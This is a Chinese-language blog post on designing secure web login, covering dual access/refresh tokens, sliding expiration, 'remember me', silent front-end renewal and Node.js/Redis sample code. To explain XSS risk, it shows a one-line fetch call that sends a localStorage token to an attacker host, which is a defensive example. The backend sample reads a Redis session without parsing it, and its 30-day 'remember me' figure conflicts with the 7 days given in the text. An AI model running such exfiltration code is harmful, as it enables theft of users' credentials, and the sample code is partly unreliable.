现代 Web 应用如何设计用户登录系统?

40 阅读8分钟

安全不是功能,而是你对用户的承诺。

在开发一个现代 Web 应用时,用户登录看似是“开箱即用”的基础功能,背后却隐藏着无数安全陷阱与体验细节。很多团队为了快速上线,直接把 JWT 存进 localStorage,看似“能跑就行”,却为 XSS(跨站脚本攻击)敞开了大门;也有人看到“Refresh Token 15 分钟就过期”,立刻担心:“用户岂不是每 15 分钟就要重新登录?体验太差了!”——其实,真正的安全架构,恰恰能在保障高安全性的同时,提供近乎“永久免登”的流畅体验

本文将系统性地拆解一套工业级认证方案,涵盖:

  • 为什么必须采用双 Token(Access + Refresh)架构?
  • “滑动过期”机制如何在安全与体验之间取得完美平衡?
  • “记住我”功能在技术上到底改了什么?它真的延长了 Token 吗?
  • 前端如何实现“无感自动续期”?背后的定时器逻辑是什么?
  • “前端续期频率”究竟是什么意思?它和 Token 有效期有何关系?
  • 后端如何配合管理会话生命周期?Redis 如何存储元数据?
  • 如何防御 CSRF、XSS 等常见攻击?纵深防御怎么做?

无论你是前端、后端,还是全栈开发者,这篇文章都将为你提供一套可直接落地的完整方案,并深入剖析每一个技术决策背后的原理与权衡。


一、为什么不能把 Token 存在 localStorage?

先看一段“教科书式”错误代码:

// ❌ 千万别这么干!
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxx');

这种做法在早期教程中极为常见,但其安全隐患早已被业界共识:

1. XSS 攻击可直接窃取凭证

只要网站存在任意 XSS 漏洞(如富文本未转义、第三方脚本注入),攻击者即可通过:

fetch('https://attacker.com/steal?token=' + localStorage.token);

将用户完整身份凭证发送到自己的服务器。由于 localStorage 中的 Token 通常有效期长达数天甚至数周,攻击者可长期冒充用户操作。

2. 无法主动失效

一旦 Token 泄露,除非服务端强制轮换密钥(影响所有用户),否则无法单独使某个 Token 失效。而基于 Cookie 的方案可通过清除后端会话记录实现精准登出。

3. 违背最小权限原则

Token 被 JavaScript 全局可见,任何嵌入的第三方 SDK、广告脚本、甚至调试代码都可能意外泄露它。

结论:任何可被 JavaScript 读取的存储方式(localStorage、sessionStorage、普通 Cookie),都不应存放长期有效的身份凭证。


二、双 Token 架构:安全的基石

现代安全认证的核心思想是 职责分离(Separation of Concerns) :将“高频使用”和“低频续期”两种操作拆开,分别用不同策略保护。

双 Token 的角色分工

Access Token (AT)Refresh Token (RT)
用途每次 API 请求的身份凭证静默换取新的 Access Token
传输方式Authorization: Bearer <token>自动随请求携带(HttpOnly Cookie)
存储位置前端内存(如 Pinia、Vuex、React state)HttpOnly Cookie(JavaScript 不可见)
典型有效期5~10 分钟单次 10~15 分钟,但可刷新
是否暴露给前端逻辑
泄露后果仅能维持几分钟攻击窗口若未配合 HttpOnly,则危害极大

为什么 Access Token 要比 Refresh Token 更短?

这是很多开发者容易忽略的关键点。假设两者都是 15 分钟,XSS 窃取 AT 后仍有 15 分钟攻击时间。但如果 AT 只有 5 分钟:

  • 第 3 分钟发生 XSS → 攻击窗口仅剩 2 分钟;
  • 即使攻击者立即行动,多数敏感操作(如转账二次确认)也无法完成;
  • 后端无需维护黑名单,权限变更最多 5 分钟生效。

🔒 安全本质
Access Token 的短时效,是在第一道防线(XSS 防护)被突破后,仍能限制损失的“最后保险”。

此外,短 AT 还带来工程优势:

  • 无状态服务友好:无需查询数据库验证每次请求;
  • 权限变更实时性高:用户被禁用后,旧 AT 很快失效;
  • 符合 OAuth 2.0 RFC 6749 建议:“Access tokens SHOULD have a short lifetime”。

三、“滑动过期”:安全与体验的完美平衡

问题来了:

“Refresh Token 只有 15 分钟,用户是不是每 15 分钟就得重新登录?”

完全不会! 这就是“滑动过期”(Sliding Expiration)机制的妙处。

什么是滑动过期?

滑动过期的核心在于 区分“单次凭证有效期”和“全局会话生命周期”

  • 用户成功登录后,后端创建一个全局会话记录(如存于 Redis),设定最大存活时间(例如:普通登录 2 小时,“记住我” 30 天);

  • 每次调用 /refresh 接口时:

    • 若当前时间未超过全局会话过期时间,则生成新的短期 Refresh Token
    • 新 RT 的有效期 = min(固定短周期, 全局剩余时间)
    • 全局会话过期时间不变,确保总登录时长不超过安全阈值;
  • 若用户长时间不活动(如 15 分钟未刷新),则 RT 过期,需重新登录;

  • 若用户持续活跃,则可保持登录长达 7 天或者更久。

效果

  • 活跃用户:7 天内无需重新登录(体验好);
  • 非活跃用户:15 分钟无操作即登出(安全强);
  • 凭证泄露:攻击者最多维持 15 分钟会话(风险可控)。

后端实现示例(Node.js + Redis)

const SESSION_MAX_AGE = 30 * 24 * 60 * 60; // 30天
const REFRESH_TTL = 15 * 60;               // 15分钟

// 登录
app.post('/login', async (req, res) => {
  const { rememberMe } = req.body;
  const maxAge = rememberMe ? SESSION_MAX_AGE : 2 * 60 * 60;
  
  const sessionId = randomBytes(32).toString('hex');
  const expiresAt = Date.now() + maxAge * 1000;

  await redis.setex(`session:${sessionId}`, maxAge, JSON.stringify({
    userId: 'user123',
    expiresAt,
    isPersistent: !!rememberMe
  }));

  const refreshToken = jwt.sign({ sessionId }, REFRESH_SECRET, { expiresIn: REFRESH_TTL });
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'Lax',
    maxAge: REFRESH_TTL * 1000,
    path: '/'
  });

  res.json({ accessToken: generateAccessToken(), expiresIn: 300 });
});

// 刷新
app.post('/refresh', async (req, res) => {
  const { sessionId } = verifyRefreshToken(req.cookies.refreshToken);
  const session = await redis.get(`session:${sessionId}`);
  
  if (!session || Date.now() >= session.expiresAt) {
    return res.status(401).end();
  }

  // 新 RT 有效期 = min(15分钟, 全局剩余时间)
  const remaining = Math.floor((session.expiresAt - Date.now()) / 1000);
  const newTtl = Math.min(REFRESH_TTL, remaining);

  const newRefreshToken = jwt.sign({ sessionId }, REFRESH_SECRET, { expiresIn: newTtl });
  res.cookie('refreshToken', newRefreshToken, {
    httpOnly: true,
    maxAge: newTtl * 1000,
    // ...
  });

  res.json({ accessToken: generateAccessToken(), expiresIn: 300 });
});

四、“记住我”功能的技术真相

很多人以为“记住我”就是把 Token 有效期设成 7 天——这是危险误解!

正确实现:

“记住我” ≠ 延长 Token 有效期,而是延长全局会话的最大生命周期。

场景全局会话有效期单次 RT 有效期AT 有效期前端续期频率
普通登录2 小时15 分钟5 分钟每 4 分钟
勾选“记住我”7 天15 分钟5 分钟每 4 分钟

关键点

  • RT 和 AT 的单次有效期始终不变
  • “记住我”只影响后端是否允许续期到第 7 天
  • 安全性不妥协,体验却大幅提升。

前端只需在登录时传递 rememberMe: true,后端据此选择会话策略,前端完全无感。


五、前端自动续期:让用户“感觉不到登录”

即使 AT 只有 5 分钟,用户也不会频繁登出——因为前端会提前静默刷新

1. 被动续期(基础)

  • API 返回 401 → 自动调用 /refresh → 重试原请求。
  • 缺点:用户操作会有短暂延迟或卡顿。

2. 主动续期(推荐)✅

  • 登录成功后,启动定时器;
  • 在 AT 到期前(如第 4 分钟)主动调用 /refresh
  • 获取新 AT + 新 RT(Cookie 自动更新);
  • 重置定时器,循环往复。
// Vue 3 + Pinia 示例
let refreshTimer: number | null = null;

function scheduleNextRefresh(expiresIn: number) {
  if (refreshTimer) clearTimeout(refreshTimer);
  
  // 提前 60 秒刷新(5分钟AT → 4分钟后触发)
  const delay = (expiresIn - 60) * 1000;
  if (delay <= 0) return;

  refreshTimer = setTimeout(async () => {
    try {
      const res = await fetch('/refresh', {
        method: 'POST',
        credentials: 'include'
      });
      if (res.ok) {
        const data = await res.json();
        useAuthStore().setAccessToken(data.accessToken);
        scheduleNextRefresh(data.expiresIn); // 递归调度
      } else {
        useAuthStore().logout();
      }
    } catch (e) {
      useAuthStore().logout();
    }
  }, delay);
}

// 登录后调用
const { accessToken, expiresIn } = await login(credentials);
setAccessToken(accessToken);
scheduleNextRefresh(expiresIn);

💡 这就是“前端续期频率”的含义
前端根据 Access Token 的 expiresIn 动态计算出的自动刷新时间间隔,通常为“AT 有效期 - 安全缓冲时间(如 60 秒)”。
它与 Refresh Token 的 15 分钟无关,因为前端无法读取 RT 的过期时间。

优化策略

  • 活跃度检测:仅在用户近期有操作时续期;
  • 页面可见性监听:切换回标签页时检查是否需立即刷新;
  • 失败重试:网络失败后指数退避重试。

六、安全边界与纵深防御

即使采用上述方案,仍需配合其他防护:

1. CSRF 防护

  • 设置 Cookie SameSite=Lax(默认阻止跨站 POST);
  • 敏感操作(如支付)要求额外 CSRF Token;
  • 避免 GET 请求修改状态。

2. XSS 防护

  • 输出转义(Vue/React 默认已做);
  • 内容安全策略(CSP)限制脚本来源;
  • 避免 v-html / dangerouslySetInnerHTML

3. 传输安全

  • 强制 HTTPS;
  • Cookie 设置 Secure 标志;
  • HSTS 头防止降级攻击。

七、结语:安全与体验从不矛盾

通过这套组合拳:

  • HttpOnly Cookie 防 XSS;
  • 双 Token 时效分层 控制风险窗口;
  • 滑动过期 + 全局会话 实现灵活生命周期;
  • 前端自动续期 保证无缝体验;
  • “记住我”仅调整策略,不动安全根基
  • 纵深防御 抵御多维攻击。

我们既满足了高强度安全要求,又提供了媲美社交 App 的登录体验。

真正的安全,是让用户感觉不到安全的存在。

如果你的项目还在用 localStorage 存 Token,是时候升级了。
因为每一次点击背后,都值得被认真守护。